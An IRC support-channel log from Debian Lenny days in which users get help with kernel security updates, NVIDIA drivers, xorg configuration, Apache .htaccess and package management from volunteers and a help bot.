| 14:00.01 | beardy | s/we/be/ |
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| 14:00.24 | Abo | I am thinking at something else right now...... |
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| 14:00.49 | Abo | I think I will use one server to host apache/php and other servers to host the other things |
| 14:01.16 | Owner | I read everything on aptitude i could find but still don't understand how i can make it reinstall ALL of the currently installed packages AND ALL of their dependencies. Doing a <for pkg in `dpkg --get-selections | egrep -v deinstall | awk '{print $1}' | egrep -v '(dpkg|apt|mysql|mythtv)'` ; do aptitude reinstall $pkg ; done> loop seems kinda nasty. Is there such function within aptitude itself? |
| 14:01.43 | petemc | !reinstall |
| 14:01.43 | dpkg | i heard reinstall is aptitude reinstall '~i' ; or COLUMNS=200 dpkg -l | awk '/^[hi]i/{print $2}' | xargs apt-get -y --reinstall install, or dpkg --get-selections > my_packages.txt , then later, dpkg --set-selections < my_packages.txt && apt-get install . See also <aptitude clone> <debian clone> |
| 14:01.46 | beardy | Abo: If you will use the same thing, that "zended" thing, it's likely to happen again. But it's a step in the right direction yes.. to run the webserver as isolated as possible. |
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| 14:02.16 | beardy | Abo: What petemc said is true aswell, and it's not meant as an offense. |
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| 14:03.47 | Abo | yeah |
| 14:03.51 | Abo | thats what I will do |
| 14:04.07 | Abo | I will isolate the mfck3r |
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| 14:04.39 | Owner | petemc: dumba.s.. thanks! |
| 14:05.07 | nium-_ | hmm, no flash player for lenny? |
| 14:05.16 | abrotman | !tell nium-_ about adobe flash |
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| 14:06.15 | nium-_ | *uninstalls debian* |
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| 14:08.44 | _AnywhereIs_ | !tell _AnywhereIs_ about links |
| 14:09.04 | _AnywhereIs_ | xD |
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| 14:09.05 | abrotman | !tell _AnywhereIs_ about selftell |
| 14:09.22 | MikeSeth | damn realtek |
| 14:09.22 | jelly | nium-_: yay, one less user to support! Thanks, have a nice day! |
| 14:09.27 | MikeSeth | kills realtek |
| 14:09.27 | shadowmaster | 3334414 |
| 14:09.33 | shadowmaster | oops, sorry about that. |
| 14:09.35 | MikeSeth | finally, solved my 8168 problem |
| 14:09.49 | nium-_ | jelly, ;) |
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| 14:10.00 | MikeSeth | jfyi pre-2.6.28 kernels do not work with rtl8168b/c/d rev > 01 |
| 14:10.00 | abrotman | !tell nium-_ about dmm |
| 14:10.08 | MikeSeth | *dont* try to fix that |
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| 14:11.36 | nium-_ | abrotman, thanky. |
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| 14:21.32 | Cheef-Daniel | hi, should/do I have to reboot my server when a new/bugfixed kernel is installed? Or is there a way not to reboot the whole machine? |
| 14:21.59 | abrotman | yes |
| 14:22.10 | MikeSeth | Cheef-Daniel: there is a technology that allows kernel upgrades without reboot but you probably don't have it set up so reboot |
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| 14:23.27 | d_b | Hi, I'm about to install Diablo 2 LOD (the expansion" but when I do "mount -o loop d2.iso /media/d2" I get this "mount: you must specify the filesystem type |
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| 14:23.48 | abrotman | -t ? |
| 14:23.54 | MikeSeth | d_b: you must specify the filesystem type |
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| 14:24.08 | d_b | then when I specify that with -t iso9660 it tells me "wrong fs type". how do I know what type it is? |
| 14:24.20 | jafn | hi |
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| 14:26.27 | Cheef-Daniel | MikeSeth: thank you I will look into it |
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| 14:28.31 | JJOliver | Hipeeps, is there a way that I can find out if my com port is 'active' not sure if it's a badly spliced cable of non functioning com port on my laptop?! |
| 14:28.55 | Abo | gosh 40GB of backups |
| 14:28.58 | Texou | hi |
| 14:29.02 | Abo | download/upload |
| 14:29.07 | Abo | will kill all my day :D |
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| 14:29.54 | Texou | could you tell me if Debian will integrate in lenny (maybe 5.0.3?) the patch for the sock_sendpage vulnerability in the kernel? |
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| 14:30.40 | Texou | I think I saw a patch in sid but... |
| 14:30.54 | Texou | is there a location where the issue is discussed? |
| 14:32.05 | rozie | Texou: I think it's done. http://www.debian.org/security/2009/dsa-1864 |
| 14:32.25 | themill | !tracker of doom |
| 14:32.25 | dpkg | tracker of doom is, like, a vulnerability database maintained by the debian security team, viewable at http://security-tracker.debian.net or read http://www.enyo.de/fw/software/debsecan/ or http://www.debian.org/security/crossreferences |
| 14:32.26 | Texou | I look |
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| 14:34.10 | abrotman | Texou: the what ? |
| 14:34.56 | Texou | abrotman: a vulnerability discovered in the kernel with sock_sendpage |
| 14:35.05 | themill | Texou: CVE numbers make this sort of thing easier... |
| 14:35.10 | abrotman | Texou: the thing in the news last week? been fixed in stable and oldstable |
| 14:35.24 | Texou | themill: ok |
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| 14:36.03 | Texou | abrotman: but in which releases of the kernel? the last I have is 2.6.26-1 now on lenny |
| 14:36.22 | abrotman | Texou: which architecture ? |
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| 14:36.29 | Texou | aboramfg4 |
| 14:36.32 | Texou | oops |
| 14:36.36 | abrotman | amd64 ? |
| 14:36.40 | Texou | abrotman: amd64 |
| 14:36.43 | abrotman | Texou: aptitude install linux-image-amd64 |
| 14:36.55 | Texou | ah ok |
| 14:37.10 | Texou | abrotman: it will replace my 2.6.26-2 right? |
| 14:37.13 | Texou | -1 * |
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| 14:38.49 | Texou | hmm I understand :) |
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| 14:39.19 | themill | Texou: your 2.6.26-1-amd64 kernel has had known security vulnerabilities that were patched back in March... |
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| 14:39.37 | Texou | ok |
| 14:39.39 | beardy | I wonder why linux-image-2.6.26-2-xen-amd64 2.6.26-17lenny has not been wanting to get installed here.. |
| 14:39.41 | g0sh | I need some help please |
| 14:39.44 | g0sh | I do apreciatte |
| 14:39.49 | beardy | When I use the metapackages. |
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| 14:40.23 | g0sh | I tryed to install debian on my vmware workstation and when the SO reboot finishing the installation I got this error |
| 14:40.27 | g0sh | http://img13.imageshack.us/i/imagem3aht.png/ |
| 14:40.38 | g0sh | whats wrong? |
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| 14:41.37 | Titan8990_ | a) bad initrd b) lack of filesystem drivers in the kernel c) lack of storage controller drivers in the kernel |
| 14:41.44 | Titan8990_ | most likely a bad initrd in your case |
| 14:41.56 | g0sh | that means what? |
| 14:42.08 | beardy | Does anyone know why linux-image-2.6.26-2-xen-amd64 has not been installed for me when I have linux-image and linux-image-2.6 installed? Why hasn't it been pushed to upgrade? |
| 14:42.19 | Titan8990_ | it means the kernel didn't have what was required to mount the root filesystem |
| 14:42.32 | g0sh | so what can I do now? |
| 14:42.42 | Titan8990_ | beardy, because you don't use xen? |
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| 14:42.48 | beardy | Titan8990_: I do. |
| 14:43.01 | beardy | Titan8990_: Otherwise I wouldn't have said that I use that kernel.. |
| 14:43.04 | Titan8990_ | beardy, and problems installing it? |
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| 14:43.33 | g0sh | Titan8990 How can I fix it? |
| 14:43.54 | Titan8990_ | g0sh, no sure honestly |
| 14:44.01 | beardy | Titan8990_: No. Not the issue. linux-image-2.6.26-1-xen-amd64 is installed, but the newer one has not been pushed for upgrading. It is there, but I suppose linux-image-2.6 is satisfied then. |
| 14:44.04 | Titan8990_ | g0sh, i have only seen that error in custom built kernels |
| 14:44.07 | beardy | Not a great thing imo. |
| 14:44.13 | Texou | themill: ok I'm surprised so it wasn't upgraded via aptitude safe-vfqade and full-upgrade. And now 2.6.26-2-amd64 integrates the last patch for sock_sendpage bug right? |
| 14:44.20 | g0sh | ohhhh\ |
| 14:44.26 | Titan8990_ | beardy, if the newest one in backports? |
| 14:44.31 | g0sh | I just did default installation |
| 14:44.37 | g0sh | Im not understand whats wrong |
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| 14:44.50 | Titan8990_ | g0sh, i know thats why you shouldn't be having that problem |
| 14:44.54 | MikeSeth | btw 2.6.30 (in devel daily) is broken and hangs on my intel boards |
| 14:45.03 | g0sh | grrrrrr |
| 14:45.05 | themill | Texou: it wasn't upgraded because you didn't have the metapackage that abrotman told you to install. Having installed that, you should track newer kernel packages automatically. |
| 14:45.08 | Titan8990_ | g0sh, it looks to me like it failed to generate the initrd properly, which is the only direction i can provide |
| 14:45.09 | beardy | Titan8990_: No, no backports here. |
| 14:45.30 | beardy | themill: So why doesn't my box track it properly? |
| 14:45.37 | Titan8990_ | beardy, what is the newer one? only 2.6.26 has been released for lenny |
| 14:45.40 | g0sh | Titan8990 I installed it im MAC in vmware but thats not a problem right? |
| 14:45.40 | beardy | Just checked and noticed.. |
| 14:45.49 | Texou | themill: ah ok I understand. I'm installing it now. |
| 14:46.04 | themill | beardy: what does "apt-cache policy blahblah" say about it? |
| 14:46.05 | beardy | Titan8990_: The minor version.. same one as Texou is talking about. |
| 14:46.06 | Titan8990_ | g0sh, no idea, not a mac user |
| 14:46.18 | Titan8990_ | beardy, revision? |
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| 14:46.45 | themill | Titan8990_: the debian ABI version. It's the -1- -2- etc that appear in the kernel package name. |
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| 14:48.21 | beardy | themill: For which one exactly? |
| 14:49.12 | TeXnicer | O.o I red threadmill, that is a black friar upgrade |
| 14:49.57 | themill | beardy: "apt-cache policy linux-image-2.6.26-2-xen-amd64 linux-image-2.6-xen-686 linux-image-xen-686" I guess... |
| 14:50.07 | themill | beardy: err s/686/amd64/ |
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| 14:50.28 | Texou | themill: and could you tell me again where you see that 2.6.26-2 integrates the patch for sock_sendpage please? |
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| 14:51.25 | themill | Texou: packages.debian.org will show you the changelog or use apt-listchanges or look at security.debian.org |
| 14:51.59 | Texou | ok I look these. Thanks |
| 14:51.59 | beardy | themill: I noticed that it is not A utomatically installed, but i nstalled, it might be that, that confuses it perhaps.. "i linux-image-2.6.26-1-xen-amd64", but like I said, I have the metapackages installed.. |
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| 14:53.30 | Texou | themill: and will apt-listchanges work even if I install it after updating the package? |
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| 14:53.47 | themill | dpkg: tell Texou about apt-listchanges |
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| 14:54.01 | Texou | ah cool :D thanks |
| 14:54.22 | themill | Texou: it works *while* you are installing the update. Afterwards, just look in /usr/share/doc/packagename/changelog.Debian.gz |
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| 14:55.12 | Texou | ah ok |
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| 14:55.55 | seria-mau | how many developers does debian currently have? |
| 14:56.13 | themill | !dstats sid |
| 14:56.23 | dpkg | Debian Distro Stats on sid... 26281 packages, 2066 maintainers, 74274 MB installed size, 26925 MB compressed size. |
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| 14:58.09 | temoto | How to install gnutls >= 2.6 lenny? |
| 14:58.16 | fireba11 | the install size is purely theoretical though ... |
| 14:58.41 | taras_by | Talha: |
| 14:59.09 | themill | !wayttd temoto |
| 14:59.09 | dpkg | What Are You Trying To Do, temoto? |
| 14:59.51 | temoto | themill: i'm trying to get a program working on server. |
| 14:59.55 | Texou | ah :) I see the change. Cool |
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| 15:00.29 | temoto | themill: program uses features of libgnutls that are not in lenny libgnutls26 package version. |
| 15:00.58 | temoto | themill: wasn't the question straight enough? |
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| 15:01.28 | themill | temoto: normally people ask this question because they're trying to install a sid package in lenny or even an ubuntu package in lenny... |
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| 15:02.17 | themill | temoto: do you know which version of libgnutls26 included this change? |
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| 15:03.23 | Texou | I come back |
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| 15:03.28 | temoto | themill: yes, but it's funny. Changelog says it was in 2.7.something, but on my ubuntu there is 2.6.6 and it works. |
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| 15:05.52 | themill | temoto: lovely... :( 2.6.6 is in squeeze atm so you could try backporting that, but I'd worry that a lot of other things that depend on gnutls would die if you installed a newer version of the package underneath them. You could tias though.... Alternatively, you could create a squeeze chroot with debootstrap and run your software in that. You might not want to do that long term on a server, however. |
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| 15:06.38 | temoto | themill: thanks. |
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| 15:09.36 | Texou | works fine |
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| 15:17.14 | Texou | themill: a last question. Now what packages I've to let installed to follow updatings? linux-image-amd64? and it will follow linux-image-2.6.26-2-amd64 and future updates automatically? I guess I can remove 2.6.26-1-amd64 but not 26-2 right? |
| 15:18.03 | themill | correct, although some people like to keep an old kernel around for emergencies anyway. Up to you |
| 15:18.20 | Texou | ok perfect |
| 15:18.23 | Texou | thanks |
| 15:18.45 | Texou | happy :) now I'll have my kernel updated regularly. It's better I think |
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| 15:19.41 | themill | rather |
| 15:21.01 | Texou | and (to learn) what's the role of linux-image-amd64? detecting changes in images and update them on my system? a kind of sychronizing tool? able to update to 26-3 if necessary... ? |
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| 15:21.34 | tecneeq | so, is testing in a state that i can use it? I don't need much, x86, xorg, kde4 and it's apps and ksh |
| 15:21.54 | abrotman | tecneeq: that's pretty subjective |
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| 15:22.14 | tecneeq | i'm feeling strong today and want to give kde4 a try :) |
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| 15:22.33 | tecneeq | abrotman: yes, it is, wich is why i ask for your opinion, not a definitve answer |
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| 15:23.03 | abrotman | tecneeq: it's mostly fine for me, but i don't use KDE, so I can't comment on that aspect. |
| 15:23.12 | tecneeq | i see |
| 15:23.23 | Texou | ah I understand. It's updated and since it depends on last images, qhey are updated automatically. ok ok :) |
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| 15:23.49 | tecneeq | abrotman: didn't know there are still poor sobs out there that use something lesser ;) |
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| 15:24.05 | G__81 | i am using 2.6.26-1-686 kernel and i want to install Nvidia. should i update the kernel and then install nvidia through apt-get ? |
| 15:24.11 | G__81 | can someone let me know on this ? |
| 15:24.11 | mederEsite | My debian isn't picking up anything on wifi when I know for sure there are wireless connections setup - I initially set it up on wired. Wireless *is* enabled - could there be a reason it doesn't list wireless networks? Maybe my card isnt registered? |
| 15:24.33 | abrotman | tecneeq: once again .. subjective .. i feel bad for people using your preference |
| 15:24.44 | abrotman | G__81: aptitude install linux-image-686 |
| 15:24.52 | cahoot | mederEsite: /sbin/ifconfig -a lists any possible wlan? |
| 15:24.55 | G__81 | hi abrotman |
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| 15:25.19 | tecneeq | G__81: i personally could never be bothered to find out the debian way for nvidia stuff, i just install what they offer and it seems to run fine for me |
| 15:25.48 | abrotman | G__81: once your kernel is updated .. look for the pre-compiled nvidia modules |
| 15:25.51 | mederEsite | cahoot: it lists eth0, wlan0, wmaster0, vboxnet0, pan0 |
| 15:25.56 | G__81 | tecneeq, exactly thats what even i am looking at but i was not able to find the driver for the kernel i am running hence thought whether i could update kernel and update it |
| 15:26.18 | G__81 | abrotman, as you said yesterday i installed the firmware and wireless works perfectly :) |
| 15:26.32 | tempuser | where might a guy find documentation on migrating currently installed debian os to a xen domU? |
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| 15:26.44 | abrotman | G__81: this has nothing to do with your wifi .. your kernel is out of date |
| 15:27.07 | G__81 | abrotman, yes nothing to do with wifi its just i wanted to update you on this :) |
| 15:27.18 | cahoot | mederEsite: if you run gome you might find wicd a useful tool for wifi |
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| 15:27.31 | G__81 | abrotman, thanks for the info and yesterday being the first day on my debian lenny usage :) and today the second day |
| 15:27.33 | mederEsite | yes, i run gnome |
| 15:27.35 | mederEsite | ok |
| 15:27.43 | petemc | tempuser: there wouldnt be much that would be xen specific to that, so the same methods used to migrate from one machine to another would work |
| 15:28.02 | tecneeq | G__81: congrats, wise choice |
| 15:28.16 | G__81 | let me reboot my system and log in with 2.6.26.2 |
| 15:28.22 | tecneeq | G__81: once everything is running it's fun to see your friends struggle ;) |
| 15:28.27 | tempuser | petemc: so as long as i'm dilagent with the xen config, i could could cpio an existing box into a xen domU? |
| 15:28.40 | tempuser | or tar |
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| 15:29.00 | petemc | tempuser: thats not what i would do, but i think as long as you used a xen kernel you would be fine |
| 15:29.20 | tempuser | petemc: what would you do? |
| 15:29.42 | tecneeq | tempuser: i would use dump, for it handles hardlinks and devices quite well |
| 15:29.59 | petemc | tempuser: a normal install, sync up the packages then copy the configs and data across using conventional methods |
| 15:30.01 | tecneeq | tar might do the trick nowadays, i'm not up to date |
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| 15:30.05 | tempuser | petemc: ahh yes. dump. so same basic process, just different approach. |
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| 15:30.48 | G__81 | i guess this should work i ve given the following |
| 15:30.55 | G__81 | apt-get install nvidia-kernel${VERSION}-$(uname -r) |
| 15:31.01 | DexterF | I upgraded a package (mpd) and told apt to keep the old conf file - I'd like to compare to that from the package again, where can I find it? |
| 15:31.36 | G__81 | ok its got installed let me reboot and check whether nvidia works |
| 15:31.47 | G__81 | should i install anything else for nvidia to work >? |
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| 15:32.02 | tecneeq | xorg might be handy ;) |
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| 15:32.09 | G__81 | :) |
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| 15:32.22 | tecneeq | i'm just fooling around, i dunno |
| 15:32.23 | _lilibox_ | hi |
| 15:32.48 | G__81 | tecneeq, when i boot into debian, i see a message saying that running on battery and skipping fsck why should fsck run everytime |
| 15:32.49 | G__81 | ? |
| 15:33.09 | _lilibox_ | i would like to ask one thing, i installed standard apache2 |
| 15:33.19 | _lilibox_ | and i wanna use .hpaccess |
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| 15:33.37 | tecneeq | fsck checks filesystems for errors, it doesn't run every time, only after X mounts or Y days, but since you are on battery, it doesn't even go that far |
| 15:33.38 | _lilibox_ | but from unknown reason it doesn't work |
| 15:34.17 | tecneeq | G__81: obviously to save energy, it can take quite some time to check very big and busy filesystems |
| 15:34.32 | G__81 | tecneeq, why everytime should it do fsck |
| 15:34.44 | G__81 | ok let me reboot |
| 15:35.04 | tecneeq | G__81: it's not actually fsck'ing every time, it just looks if it should fsck |
| 15:35.11 | tecneeq | well |
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| 15:35.31 | tecneeq | _lilibox_: i think it's called .htaccess, maybe that's the problem? |
| 15:35.43 | albech | switching to testing for more recent packages is that only a matter of updating /etc/apt/sources.list? |
| 15:35.53 | _lilibox_ | hmm |
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| 15:36.03 | tecneeq | albech: and aptitude dist-upgrade i think |
| 15:36.06 | _lilibox_ | i am not sitting front of that puter |
| 15:36.09 | themill | albech: iyhtays |
| 15:36.24 | tecneeq | _lilibox_: since you wrote .hpaccess, it's really .htaccess |
| 15:36.34 | tecneeq | maybe just a typo tho |
| 15:36.34 | _lilibox_ | but .. may ..hmm, maybe you have right |
| 15:36.46 | _lilibox_ | i will try it here on virtualmachine |
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| 15:37.07 | _lilibox_ | does standard apache2 distribution load all needed modules |
| 15:37.19 | _lilibox_ | i have had fast google research |
| 15:37.23 | G__81 | i have installed nvidia but there seems to be no difference i believe the nvidia.ko does not get loaded at all |
| 15:37.25 | tecneeq | G__81: it's not actually fsck'ing every time, it only just looks if it should fsck. however, on battery it even skips that |
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| 15:37.32 | _lilibox_ | and everywhere was mentioned modified httpd.conf |
| 15:37.45 | G__81 | tecneeq, i dont see glxgears also installed |
| 15:37.54 | tecneeq | G__81: try this command: lsmod | grep nvidia |
| 15:37.59 | _lilibox_ | if i understood it good, httpd.conf is for individual user's setting |
| 15:38.09 | _lilibox_ | main things are in apache2.conf |
| 15:38.14 | G__81 | tecneeq, it does not give me anything |
| 15:38.15 | _lilibox_ | becouse httpd.conf was empty |
| 15:38.38 | tecneeq | G__81: that not good, it should list nvidia.ko |
| 15:38.59 | tecneeq | like so: |
| 15:39.00 | tecneeq | nvidia 7209720 20 |
| 15:39.00 | tecneeq | agpgart 28776 1 nvidia |
| 15:39.16 | G__81 | tecneeq, yeah but is there anything else that needs to be installed |
| 15:39.17 | themill | _lilibox_: http://httpd.apache.org/docs/2.2/mod/core.html#allowoverride |
| 15:40.02 | tecneeq | G__81: well, i guess you need to load the module: modprobe nvidia |
| 15:40.12 | tecneeq | G__81: then lsmod | grep nvidia to check |
| 15:40.23 | G__81 | yeah now i get the output |
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| 15:40.28 | themill | _lilibox_: Also see /usr/share/doc/apache2/README.Debian.gz for information on configuring apache. You'll want to configure the virtual host in /etc/apache2/sites-enabled/ |
| 15:40.43 | G__81 | but why does not it modprobe it automatically |
| 15:40.45 | tecneeq | G__81: ok, now you need to write it into /etc/modprobe.conf or so |
| 15:40.54 | tecneeq | G__81: let me look where i wrote mine ... |
| 15:41.01 | G__81 | ok |
| 15:41.36 | FailPowah | anybody know how i can stop the fading of application in the task bar in kde? |
| 15:41.45 | _lilibox_ | thank you guys for your comments |
| 15:42.09 | _lilibox_ | lemme test something :-) |
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| 15:43.25 | G__81 | tecneeq, got it ? |
| 15:43.31 | Abo | how do I use certificates instead of passwords? |
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| 15:44.35 | d1b | Abo: ssh keys ? |
| 15:44.37 | d1b | or ... |
| 15:44.45 | abrotman | !tell abo about ssh keyes |
| 15:44.47 | abrotman | !tell abo about ssh keys |
| 15:44.53 | abrotman | !tell abo about google |
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| 15:45.49 | d1b | !about ! |
| 15:45.49 | dpkg | enter /msg dpkg help in your IRC client, or http://www.debian.org/intro/about |
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| 15:46.37 | G__81 | abrotman, what do i do to make sure modprobe of nvidia happens on boot automatically ? |
| 15:46.48 | abrotman | put it in /etc/modules |
| 15:47.15 | G__81 | just put modprobe nvidia in the file /etc/modules? |
| 15:47.16 | mederEsite | !tell mederEsite about ssh keys |
| 15:47.23 | abrotman | !tell mederEsite about selftell |
| 15:47.26 | OpenTokix | G__81: no, just "nvidia" no modprobe |
| 15:47.31 | OpenTokix | G__81: in /etc/modules |
| 15:47.36 | OpenTokix | G__81: no "" either |
| 15:47.50 | G__81 | oh ok |
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| 15:48.03 | G__81 | sorry for this dumb question i should have looked at the file :) |
| 15:48.08 | G__81 | ok thanks let me try it out |
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| 15:51.13 | G__81 | though nvidia driver gets loaded automatically i am not sure whether its enabled and working |
| 15:51.57 | G__81 | i get these lines at boot up |
| 15:52.05 | G__81 | [ 10.191406] uvcvideo: Found UVC 1.00 device Laptop Integrated Webcam (05a9:2640) |
| 15:52.05 | G__81 | [ 10.191406] uvcvideo: Failed to query (135) UVC control 1 (unit 0) : -32 (exp. 26). |
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| 15:53.02 | tecneeq_ | G__81: sorry, somehow my box just froze. that's what you get if you update you software :( |
| 15:53.22 | tecneeq_ | G__81: do you have the problem solved? |
| 15:53.40 | G__81 | the nvidia got inserted automatically but the problem is that i am not able to see any difference |
| 15:53.54 | tecneeq_ | G__81: you have adjusted your xorg.conf? |
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| 15:54.19 | G__81 | no |
| 15:54.21 | tecneeq_ | G__81: the line Driver "nv" for example needs to be changed to Driver "nvidia" |
| 15:54.36 | G__81 | let me pastebin the xorg.conf |
| 15:54.54 | tecneeq_ | i can't, i just destroyed my x config myself ;) |
| 15:55.16 | tecneeq_ | i'm on the nekkid console and need to get me the nvidia driver first |
| 15:55.48 | tecneeq_ | i'm doomed ;) |
| 15:56.02 | tecneeq_ | anyways, there is some GLX entry that needs to be changed too |
| 15:56.09 | G__81 | http://pastebin.com/m500120a2 |
| 15:56.16 | G__81 | this is the xorg.conf i have now |
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| 15:57.23 | G__81 | tecneeq, can you just let me know whats to be changed |
| 15:57.44 | tecneeq_ | G__81: i can't look at it since i'm without x myself |
| 15:58.15 | G__81 | abrotman, can you help me with this ? |
| 15:58.15 | tecneeq_ | G__81: but i can give you my xorg.conf, so you can compare, just a second |
| 15:58.19 | G__81 | ok sure |
| 15:58.21 | G__81 | thanks a lot |
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| 15:59.57 | tecneeq_ | G__81: try: http://uberhost.dyndns.org/nvidia/ |
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| 16:00.19 | tecneeq_ | G__81: hopefully that hostname is still valid ;) |
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| 16:00.27 | G__81 | yes |
| 16:00.28 | G__81 | it works |
| 16:00.52 | G__81 | should i modify everything |
| 16:00.59 | tecneeq_ | compare Drivers and Modules, the rest should not really matter |
| 16:01.04 | G__81 | oh ok |
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| 16:01.18 | abrotman | G__81: what is wrong with the debian nvidia packages? |
| 16:01.29 | abrotman | !nvidia |
| 16:01.29 | dpkg | To use an NVIDIA graphics card with Debian, see http://wiki.debian.org/NvidiaGraphicsDrivers. If you've done it before, asking me about <nvidia pre-built> or <nvidia m-a> might work. Installing directly from nvidia.com (i.e. with <nvidia-installer>) is _not_ supported in #debian, please go to #nvidia (irc.freenode.net). |
| 16:01.35 | abrotman | try that first URL |
| 16:01.57 | slinker1 | any known issues with testing netinst cd can't get text or graphic to run hangs right after selecting which mode |
| 16:02.08 | Abo | whats the bigmem linux image I need to install after a default 5.0.2 installation? |
| 16:02.10 | G__81 | abrotman, yes i did read it and i believe they also do the same apt-get install and i did the same |
| 16:02.12 | azeem | slinker1: install stable and upgrade |
| 16:02.20 | slinker1 | ahh okay will do |
| 16:02.22 | azeem | testing netinsts are not guaranteed to work |
| 16:02.32 | slinker1 | ty |
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| 16:03.56 | et | azeem: are other netinsts? |
| 16:04.02 | G__81 | ok tecneeq_ i have modified the xorg.conf |
| 16:04.04 | G__81 | let me reboot |
| 16:04.07 | G__81 | and check |
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| 16:07.01 | tecneeq_ | i'll do the same |
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| 16:10.28 | G__81 | tecneeq, it does not work |
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| 16:10.37 | G__81 | X server does not start |
| 16:10.42 | G__81 | i ll pastebin the errors |
| 16:10.50 | tecneeq | G__81: i can't check them |
| 16:11.27 | tecneeq | G__81: anyways, i have nothing more to add, revert the changes so you get X running again and then ... good luck :( |
| 16:12.14 | tecneeq | but i haven't had much luck either, it tells me something about API mismatch |
| 16:12.40 | tecneeq | i guess i'll better compile my own stuff |
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| 16:13.21 | justa | 'lo |
| 16:13.27 | tecneeq | G__81: you are a quick rebooter ;) |
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| 16:13.57 | justa | I'm sure I can't be the first one; but has anyone else noticed that HASBRO is marketing their 'Littlest Pet Shop' product using a (mirrored and extra-swirly) Debian logo ? |
| 16:13.58 | G__81 | no X froze again when i just presed Alt+ f1 and came back |
| 16:14.02 | justa | http://farm3.static.flickr.com/2507/3829782455_ec9dd7f0b6_o.jpg |
| 16:14.07 | G__81 | http://pastebin.com/m69552eab |
| 16:14.18 | tecneeq | G__81: sucks :( |
| 16:14.28 | G__81 | tecneeq, what happened |
| 16:14.35 | G__81 | what could be the problem |
| 16:14.37 | tecneeq | rebooting takes ages on my rig, it's a procedure one will always plan ahead ;) |
| 16:14.52 | tecneeq | G__81: i can't tell since i can't look at pastebin |
| 16:15.05 | d_b | Hi, I'm about to install Diablo 2 LOD (the expansion" but when I do "mount -o loop d2.iso /media/d2" I get this "mount: you must specify the filesystem type". I tried adding "-t iso9660" but then it tells me "wrong fs type". How do I know which type it is? |
| 16:15.05 | G__81 | abrotman, this is what i get when i load nvidia in xorg.conf |
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| 16:15.19 | G__81 | can you look into it please and help me out i have pasted the output in pastebin |
| 16:15.29 | G__81 | it says it cannot find nvidia unusual |
| 16:16.00 | tecneeq | did you check if the module is present? lsmod | grep nvidia |
| 16:16.08 | \amethyst | d_b: you can try running 'file' on it |
| 16:16.17 | G__81 | lsmod | grep nvidia |
| 16:16.17 | G__81 | nvidia 7086148 0 |
| 16:16.17 | G__81 | i2c_core 19828 2 nvidia,i2c_i801 |
| 16:16.17 | G__81 | agpgart 28776 2 nvidia,intel_agp |
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| 16:16.47 | d_b | \amethyst: it just says "data" |
| 16:16.54 | tecneeq | G__81: don't paste too much, the robots are out today |
| 16:17.05 | tecneeq | G__81: looks good tho, the module is loaded |
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| 16:17.54 | G__81 | can someone here help me out ? |
| 16:18.02 | \amethyst | d_b: then it's not a filesystem type that 'file' knows about (and it does know about ISO and UDF) |
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| 16:18.22 | azeem | w41 |
| 16:19.20 | d_b | \amethyst: I see, thanks |
| 16:19.29 | \amethyst | d_b: it's possible that the problem is that it's a dual-format CD; I don't know |
| 16:19.38 | \amethyst | d_b: google says you're not the first person to encounter this |
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| 16:20.25 | valdyn | more likely just a broken iso image |
| 16:20.31 | \amethyst | that's also possible |
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| 16:21.17 | \amethyst | if you google for "diablo 2 LOD" iso filesystem there's something about it on thepiratebay forums, though I hope you're using an image you ripped from the official CD and not one you downloaded |
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| 16:21.38 | G__81 | how do i remove a package ? |
| 16:21.40 | G__81 | installed ? |
| 16:21.48 | tecneeq | aptitude remove package |
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| 16:23.22 | d_b | \amethyst: nope, I'm using one I downloaded since my copy of the game isn't here (yeah I actually bought it when it came out :) but I will try with an .mdf file which I'll convert to iso. thanks for the help |
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| 16:23.54 | zinx | d_b: try "iat" |
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| 16:24.40 | valdyn | looks like it is not an iso image |
| 16:25.00 | d_b | zinx: hm, what do you mean try? what is iat and what do I do with it? |
| 16:25.01 | valdyn | so iat could work |
| 16:25.09 | valdyn | d_b: iat is a program |
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| 16:25.57 | d_b | valdyn: ah I see, I'll give it a try. thanks for the help! you too zinx. I'll be back later if it doesn't work :) |
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| 16:39.27 | reporter | Can i install debain of the xfce live cd? |
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| 16:42.37 | G__81 | Nvidia works perfectly :) |
| 16:42.42 | G__81 | made it work :) |
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| 16:43.32 | G__81 | how do i enable framebuffer in debian while booting |
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| 16:43.44 | G__81 | so that i dont get the big fonts while booting |
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| 16:44.54 | Titan8990_ | G__81, add something like: video=nvidiafb:ywrap,mtrr:3,1024x768-32@70 to your menu.lst |
| 16:44.59 | Titan8990_ | kernel line |
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| 16:45.14 | reporter | !xfce |
| 16:45.14 | dpkg | Xfce is a pretty nifty Desktop Environment. Lightweight, fast, compact. To install, ask me about <install xfce>. Backported 4.6.1 packages are available, ask me about <bpo>. Squeeze users: Missing icons in your menu? See bug #526171 in the <BTS>. http://wiki.debian.org/Xfce http://www.xfce.org/ #xfce on irc.freenode.net. |
| 16:45.25 | gewt | shoudl Modelines not go in xorg.conf under teh Display subsection? |
| 16:45.30 | G__81 | Titan8990, at the end of the line ? |
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| 16:45.35 | Titan8990_ | G__81, http://en.gentoo-wiki.com/wiki/Framebuffer |
| 16:45.38 | gewt | nevermind |
| 16:45.38 | PDani | hi |
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| 16:46.06 | gewt | now |
| 16:46.14 | gewt | how do I specify the refresh rate in xorg.conf? |
| 16:46.31 | Titan8990_ | as of xorg 1.5 there should be no need |
| 16:47.06 | yac_ | is there a way to find when the system was installed? |
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| 16:47.09 | gewt | 68.4khz / 80khz |
| 16:47.11 | gewt | Out of Range |
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| 16:47.23 | gewt | I'm trying to use the nvidia drivers |
| 16:47.25 | gewt | but... |
| 16:47.44 | gewt | it doesn't use a refresh rate or something, my monitor is capable of |
| 16:47.50 | yac_ | gewt: you have crt? |
| 16:47.54 | Titan8990_ | gewt, but it would be in the monitor section |
| 16:48.11 | Titan8990_ | gewt, did you use nvidia-xconfig like the official guide says? |
| 16:48.17 | yac_ | gewt: and this is monitor issue, not graphic card one |
| 16:48.27 | PDani | how can i set debconf variables for a package, which isn't installed yet? (debootstrap --foreign, then some presets, and then debootstrap --second-stage). the aim would be to avoid the dpkg-reconfigure after debootstrap |
| 16:49.05 | G__81 | Titan8990, is this right ? |
| 16:49.06 | G__81 | kernel /boot/vmlinuz-2.6.26-2-686 root=/dev/sda7 ro quiet video=nvidia:mtrr:3,ywrap,1024x768-24@60 |
| 16:49.07 | gewt | lolwut |
| 16:49.16 | gewt | now I have an nvidia splash screen |
| 16:49.16 | gewt | aahaah |
| 16:49.55 | gewt | wut >< |
| 16:49.58 | gewt | xgl not present |
| 16:50.36 | gewt | wtf? |
| 16:50.45 | gewt | my screen was JUST capable of 1280x1024 |
